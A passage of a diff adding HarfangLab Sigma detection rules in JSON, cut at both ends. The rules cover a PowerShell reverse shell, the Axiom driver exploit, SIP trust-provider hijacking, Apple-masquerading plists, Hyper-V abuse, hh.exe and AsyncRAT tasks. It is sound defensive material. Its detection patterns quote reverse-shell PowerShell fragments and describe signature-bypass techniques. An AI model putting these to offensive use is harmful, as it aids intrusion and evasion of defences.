Protection\\Downloads\\PSScript_{????????-????-????-????-????????????}.ps1'\n        PowershellCommand|contains:\n            - '[void]$socket.ConnectAsync($RemoteIP, $RemotePort).Wait(200)'\n            - '$TcpSocket = New-Object Net.Sockets.TcpClient -ErrorAction SilentlyContinue'\n            - '$SslStream = New-Object Net.Security.SslStream $TcpClient.GetStream()'\n            - '$ProtocolNames= @(\"ssl2\",\"ssl3\",\"tls\",\"tls11\",\"tls12\")'\n\n    exclusion_icinga:\n        - PowershellScriptPath: '?:\\Program Files\\WindowsPowerShell\\Modules\\icinga-powershell-framework\\cache\\framework_cache.psm1'\n        - ProcessParentImage: '?:\\Program Files\\ICINGA2\\sbin\\icinga2.exe'\n        - PowershellCommand|contains|all:\n            - 'https://github.com/Icinga/icinga-powershell-framework'\n            - 'function Get-IcingaDirectorSelfServiceConfig()'\n\n    exclusion_opsramp:\n        PowershellScriptPath|startswith: '?:\\Program Files (x86)\\OpsRamp\\Agent\\'\n\n    exclusion_lpar2rrd:\n        PowershellCommand|contains|all:\n            - '## lpar2rrd-agent.ps1'\n            - '# implementation notes for daemon on lpar2rrd server side'\n\n    exclusion_synology_backup:\n        # $b64 = \"QhAABmFjdGlvbhAAD3Rlc3RfY29ubmVjdGlvbkA=\"\n        # Command sent to the backup server to test the connection.\n        - PowershellCommand|contains: '$b64 = \"QhAABmFjdGlvbhAAD3Rlc3RfY29ubmVjdGlvbkA=\"'\n        - ProcessCommandLine|contains:\n            - 'JABiADYANAAgAD0AIAAiAFEAaABBAEEAQgBtAEYAagBkAEcAbAB2AGIAaABBAEEARAAzAFIAbABjADMAUgBmAFkAMgA5AHUAYgBtAFYAagBkAEcAbAB2AGIAawBBAD0A'\n            - 'QAYgA2ADQAIAA9ACAAIgBRAGgAQQBBAEIAbQBGAGoAZABHAGwAdgBiAGgAQQBBAEQAMwBSAGwAYwAzAFIAZgBZADIAOQB1AGIAbQBWAGoAZABHAGwAdgBiAGsAQQA9A'\n            - 'kAGIANgA0ACAAPQAgACIAUQBoAEEAQQBCAG0ARgBqAGQARwBsAHYAYgBoAEEAQQBEADMAUgBsAGMAMwBSAGYAWQAyADkAdQBiAG0AVgBqAGQARwBsAHYAYgBrAEEAPQ'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2a2ab0d4-c555-4e90-b3f0-e8025296440a",
+  "rule_name": "PowerShell Reverse Shell Executed",
+  "rule_description": "Detects suspicious reverse shell execution via PowerShell.\nA reverse shell is shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewalls restrictions.\nIt is recommended to analyze the PowerShell script content as well as to look for malicious processes and actions stemming from the PowerShell process.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2026-03-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1095"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2a2b0d94-09c6-4f43-8904-7c9d3a1ab4fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071468Z",
+  "creation_date": "2026-03-23T11:45:34.071470Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071474Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m",
+    "https://github.com/ASkyeye/CVE-2018-19320"
+  ],
+  "name": "t1562_001_axiomdriver_created.yml",
+  "content": "title: AxiomDriver Created\nid: 2a2b0d94-09c6-4f43-8904-7c9d3a1ab4fb\ndescription: |\n    Detects the creation of the Axiom driver.\n    Axiom are tools used for malicious activities such as dumping the LSASS' process memory or loading shellcodes using different techniques to avoid being detected by security tools such as EDRs.\n    Axiom can exploit CVE-2018-19320 in the GIGABYTE driver, allowing an attacker to disable Driver Signing Enforcement (DSE), which enables them to load malicious and unsigned drivers.\n    It is recommended to investigate the execution context and drivers loaded before this one to determine if a vulnerable driver has not already been loaded beforehand to disable DSE.\nreferences:\n    - https://github.com/mallo-m\n    - https://github.com/ASkyeye/CVE-2018-19320\ndate: 2025/03/26\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path: '?:\\Windows\\System32\\Drivers\\AxiomDriver.sys'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2a2b0d94-09c6-4f43-8904-7c9d3a1ab4fb",
+  "rule_name": "AxiomDriver Created",
+  "rule_description": "Detects the creation of the Axiom driver.\nAxiom are tools used for malicious activities such as dumping the LSASS' process memory or loading shellcodes using different techniques to avoid being detected by security tools such as EDRs.\nAxiom can exploit CVE-2018-19320 in the GIGABYTE driver, allowing an attacker to disable Driver Signing Enforcement (DSE), which enables them to load malicious and unsigned drivers.\nIt is recommended to investigate the execution context and drivers loaded before this one to determine if a vulnerable driver has not already been loaded beforehand to disable DSE.\n",
+  "rule_creation_date": "2025-03-26",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2a653231-c597-40e1-b664-2415c9a4a2e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296105Z",
+  "creation_date": "2026-03-23T11:45:35.296108Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296115Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
+    "https://learn.microsoft.com/en-us/archive/blogs/eduardonavarro/sips-subject-interface-package-and-authenticode",
+    "https://attack.mitre.org/techniques/T1553/003/"
+  ],
+  "name": "t1553_003_sip_trust_provider_hijacking.yml",
+  "content": "title: SIP or Trust Provider Hijacked via Registry Modification\nid: 2a653231-c597-40e1-b664-2415c9a4a2e4\ndescription: |\n    Detects modifications to registry keys associated with Windows Subject Interface Packages (SIPs) and Trust Providers, which are used to validate digital signatures and code trust.\n    SIPs handle digital signature creation, retrieval, and hash validation for various file formats (PE, PowerShell, MSI, etc.), while Trust Providers perform the actual trust decisions via the WinVerifyTrust API. Attackers with elevated privileges can hijack these components by modifying the Dll or FuncName registry values to point to malicious code or abuse legitimate signed functions (e.g., ntdll!DbgUiContinue) to bypass signature validation. This technique allows unsigned or malicious code to appear legitimately signed, evade security products, bypass application whitelisting solutions like Device Guard, and achieve persistent code execution in processes that perform trust validation.\n    Investigate any modifications to these registry paths by examining the process responsible for the change, validating the referenced DLL against known-good baselines, and checking for indicators of compromise such as non-standard DLLs or function names like DbgUiContinue being used for hash verification.\nreferences:\n    - https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf\n    - https://learn.microsoft.com/en-us/archive/blogs/eduardonavarro/sips-subject-interface-package-and-authenticode\n    - https://attack.mitre.org/techniques/T1553/003/\ndate: 2026/01/29\nmodified: 2026/02/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.003\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_dll:\n        EventType: SetValue\n        TargetObject:\n            # SIP Signature retrieval DLL\n            - 'HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{????????-????-????-????-????????????}\\Dll'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{????????-????-????-????-????????????}\\Dll'\n            # Hash validation DLL\n            - 'HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{????????-????-????-????-????????????}\\Dll'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{????????-????-????-????-????????????}\\Dll'\n\n    selection_funcname:\n        EventType: SetValue\n        TargetObject:\n            # SIP signature retrieval function\n            - 'HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{????????-????-????-????-????????????}\\FuncName'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{????????-????-????-????-????????????}\\FuncName'\n            # Hash validation function\n            - 'HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{????????-????-????-????-????????????}\\FuncName'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{????????-????-????-????-????????????}\\FuncName'\n\n    selection_filetype:\n        TargetObject|contains:\n            - '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}' # PEs\n            - '{603BCC1F-4B59-4E08-B724-D2C6297EF351}' # PowerShell\n            - '{DE351A43-8E59-11D0-8C47-00C04FC295EE}' # Catalog\n            - '{000C10F1-0000-0000-C000-000000000046}' # MSI\n            - '{C689AABA-8E78-11D0-8C47-00C04FC295EE}' # Cabinet\n\n    filter_legitimate_dll:\n        Details:\n            - 'mso.dll'\n            - 'WINTRUST.DLL'\n            - 'MSISIP.DLL'\n            - '?:\\Program Files\\ReasonLabs\\EPP\\x64\\rsSIPProvider.dll'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\pwrshsip.dll'\n            - '?:\\Windows\\SysWOW64\\AppxSip.dll'\n            - '?:\\Windows\\System32\\AppxSip.dll'\n            - '?:\\Windows\\SysWOW64\\wshext.dll'\n            - '?:\\Windows\\System32\\wshext.dll'\n            - '?:\\Windows\\SysWOW64\\MSISIP.DLL'\n            - '?:\\Windows\\System32\\MSISIP.DLL'\n            - '?:\\Windows\\SysWOW64\\pwrshsip.dll'\n            - '?:\\Windows\\System32\\pwrshsip.dll'\n\n    filter_legitimate_funcname:\n        Details:\n            # Verify Indirect Data\n            - 'MsoVBADigSigVerifyIndirectData'\n            - 'CryptSIPVerifyIndirectData'\n            - 'SIPVerifyIndirectData'\n            - 'PsVerifyHash'\n            - 'MsiSIPVerifyIndirectData'\n\n            # Get Signed Data\n            - 'MsoVBADigSigGetSignedDataMsg'\n            - 'CryptSIPGetSignedDataMsg'\n            - 'SIPGetSignedDataMsg'\n            - 'PsGetSignature'\n            - 'MsiSIPGetSignedDataMsg'\n\n    condition: (\n                (selection_dll and not filter_legitimate_dll) or\n                (selection_funcname and not filter_legitimate_funcname)\n               )\n               and selection_filetype # and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2a653231-c597-40e1-b664-2415c9a4a2e4",
+  "rule_name": "SIP or Trust Provider Hijacked via Registry Modification",
+  "rule_description": "Detects modifications to registry keys associated with Windows Subject Interface Packages (SIPs) and Trust Providers, which are used to validate digital signatures and code trust.\nSIPs handle digital signature creation, retrieval, and hash validation for various file formats (PE, PowerShell, MSI, etc.), while Trust Providers perform the actual trust decisions via the WinVerifyTrust API. Attackers with elevated privileges can hijack these components by modifying the Dll or FuncName registry values to point to malicious code or abuse legitimate signed functions (e.g., ntdll!DbgUiContinue) to bypass signature validation. This technique allows unsigned or malicious code to appear legitimately signed, evade security products, bypass application whitelisting solutions like Device Guard, and achieve persistent code execution in processes that perform trust validation.\nInvestigate any modifications to these registry paths by examining the process responsible for the change, validating the referenced DLL against known-good baselines, and checking for indicators of compromise such as non-standard DLLs or function names like DbgUiContinue being used for hash verification.\n",
+  "rule_creation_date": "2026-01-29",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1553.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2a93d0e0-f93d-4c54-a111-ce4c67fdc506",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616863Z",
+  "creation_date": "2026-03-23T11:45:34.616866Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616891Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/new-macos-malware-xcodespy-targets-xcode-developers-with-eggshell-backdoor/",
+    "https://attack.mitre.org/techniques/T1036/004/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1030_004_susp_plist_masquerading_apple.yml",
+  "content": "title: Suspicious Plist Masquerading Apple Name\nid: 2a93d0e0-f93d-4c54-a111-ce4c67fdc506\ndescription: |\n    Detects the creation of a launch daemon or agent impersonating Apple.\n    Adversaries may install persistence impersonating Apple in order to bypass simple security controls.\n    It is recommended to check the content of the newly created persistence.\nreferences:\n    - https://www.sentinelone.com/labs/new-macos-malware-xcodespy-targets-xcode-developers-with-eggshell-backdoor/\n    - https://attack.mitre.org/techniques/T1036/004/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.004\n    - attack.t1036.005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.Masquerading\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_path:\n        - Path|contains:        # create\n            - '/Library/LaunchDaemons/'\n            - '/Library/LaunchAgents/'\n        - TargetPath|contains:  # rename\n            - '/Library/LaunchAgents/'\n            - '/Library/LaunchDaemons/'\n    selection_kind:\n        Kind:\n            - 'create'\n            - 'rename'\n        ProcessImage|contains: '?'\n\n    selection_name:\n        - Path|endswith: 'com.apple.*'\n        - TargetPath|endswith: 'com.apple.*'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2a93d0e0-f93d-4c54-a111-ce4c67fdc506",
+  "rule_name": "Suspicious Plist Masquerading Apple Name",
+  "rule_description": "Detects the creation of a launch daemon or agent impersonating Apple.\nAdversaries may install persistence impersonating Apple in order to bypass simple security controls.\nIt is recommended to check the content of the newly created persistence.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.004",
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2aa99981-34d6-4623-8d69-576d9828ba9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626100Z",
+  "creation_date": "2026-03-23T11:45:34.626102Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626106Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines",
+    "https://attack.mitre.org/techniques/T1564/006/"
+  ],
+  "name": "t1564_006_enable_hyperv.yml",
+  "content": "title: Windows Hyper-V Enabled\nid: 2aa99981-34d6-4623-8d69-576d9828ba9c\ndescription: |\n    Detects the activation of Windows Hyper-V virtualization feature.\n    This command enables the Hyper-V virtualization platform and its required components on Windows without restarting the system.\n    Attackers may enable Hyper-V to hide and run malware inside virtual machines, evading host-based defenses and maintaining persistent.\n    It is recommended to investigate the parent process to determine if this action was legitimate.\nreferences:\n    - https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines\n    - https://attack.mitre.org/techniques/T1564/006/\ndate: 2025/11/12\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\Dism.exe'\n        - OriginalFileName: 'DISM.EXE'\n\n    selection_command:\n        CommandLine|contains|all:\n            - ' ?online'\n            - ' ?enable-feature'\n            - ' ?all'\n            - ' ?featurename:microsoft-hyper-v'\n            - ' ?norestart'\n\n    exclusion_docker:\n        ParentImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\DockerDesktopInstallers\\\\*\\Docker Desktop Installer.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\chocolatey\\DockerDesktopInstallers\\\\*\\Docker Desktop Installer.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2aa99981-34d6-4623-8d69-576d9828ba9c",
+  "rule_name": "Windows Hyper-V Enabled",
+  "rule_description": "Detects the activation of Windows Hyper-V virtualization feature.\nThis command enables the Hyper-V virtualization platform and its required components on Windows without restarting the system.\nAttackers may enable Hyper-V to hide and run malware inside virtual machines, evading host-based defenses and maintaining persistent.\nIt is recommended to investigate the parent process to determine if this action was legitimate.\n",
+  "rule_creation_date": "2025-11-12",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2aaef300-223b-4962-a97a-3b22e67f8221",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085739Z",
+  "creation_date": "2026-03-23T11:45:34.085741Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085746Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Hh/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1218_hh.yml",
+  "content": "title: Hh.exe Execution\nid: 2aaef300-223b-4962-a97a-3b22e67f8221\ndescription: |\n    Detects the execution of hh.exe Windows binary which is used to process chm files on Windows.\n    This binary can be abused by attackers to download remote files or execute binaries.\n    It is recommended to check for suspicious behavior by the process, such as network connections or child process execution.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Hh/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2021/07/12\nmodified: 2025/11/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Hh\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\hh.exe'\n        - OriginalFileName: 'HH.exe'\n    filter_chm:\n        CommandLine|endswith:\n            - '.chm'\n            - '.chm\"'\n\n    exclusion_ibm:\n        ParentImage:\n            - '?:\\Program Files (x86)\\IBM\\Personal Communications\\pcsws.exe'\n            - '?:\\Program Files\\Personal Communications\\pcsws.exe'\n\n    exclusion_autohotkey:\n        ParentImage|endswith: '\\AutoHotkey.exe'\n        # C:\\Windows\\hh.exe ms-its:C:\\Program Files\\AutoHotkey\\AutoHotkey.chm::/docs/Welcome.htm\n        CommandLine|contains: 'ms-its:*AutoHotkey.chm::/docs/'\n\n    exclusion_lenovo:\n        CommandLine|contains: '?:\\Program Files (x86)\\Lenovo\\Update Retriever\\'\n\n    exclusion_fiduexpert:\n        Image|endswith: '\\RF Logiciels\\Fidu-Expert*\\hh.exe'\n        ParentImage|endswith: '\\RF Logiciels\\Fidu-Expert*\\FiduExpert.exe'\n\n    exclusion_eic:\n        # https://www.eic.fr/\n        Image: '?:\\EIC\\DR\\Application *\\hh.exe'\n        ParentImage: '?:\\EIC\\DR\\Application *\\dr.exe'\n\n    exclusion_programfiles:\n        ProcessParentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2aaef300-223b-4962-a97a-3b22e67f8221",
+  "rule_name": "Hh.exe Execution",
+  "rule_description": "Detects the execution of hh.exe Windows binary which is used to process chm files on Windows.\nThis binary can be abused by attackers to download remote files or execute binaries.\nIt is recommended to check for suspicious behavior by the process, such as network connections or child process execution.\n",
+  "rule_creation_date": "2021-07-12",
+  "rule_modified_date": "2025-11-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2acfef72-9bfe-4583-9f0a-0fdbec088a28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622939Z",
+  "creation_date": "2026-03-23T11:45:34.622941Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622945Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html",
+    "https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/",
+    "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/",
+    "https://attack.mitre.org/techniques/T1053/005/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Schtasks/"
+  ],
+  "name": "t1053_005_asyncrat_scheduled_task.yml",
+  "content": "title: AsyncRAT Scheduled Task Created\nid: 2acfef72-9bfe-4583-9f0a-0fdbec088a28\ndescription: |\n    Detects the creation of a scheduled task related to the AsyncRAT hacking tool.\n    Attackers often used scheduled task to persistently execute malicious code.\n    It is recommended to investigate the parent process performing this action and download the XML file to get the scheduled task action.\nreferences:\n    - https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html\n    - https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/\n    - https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/\n    - https://attack.mitre.org/techniques/T1053/005/\n    - https://lolbas-project.github.io/lolbas/Binaries/Schtasks/\ndate: 2022/08/22\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Schtasks\n    - classification.Windows.HackTool.AsyncRAT\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\schtasks.exe'\n        - OriginalFileName: 'schtasks.exe'\n    selection_cmd1:\n        CommandLine|contains:\n            - '/create '\n            - '-create '\n            - 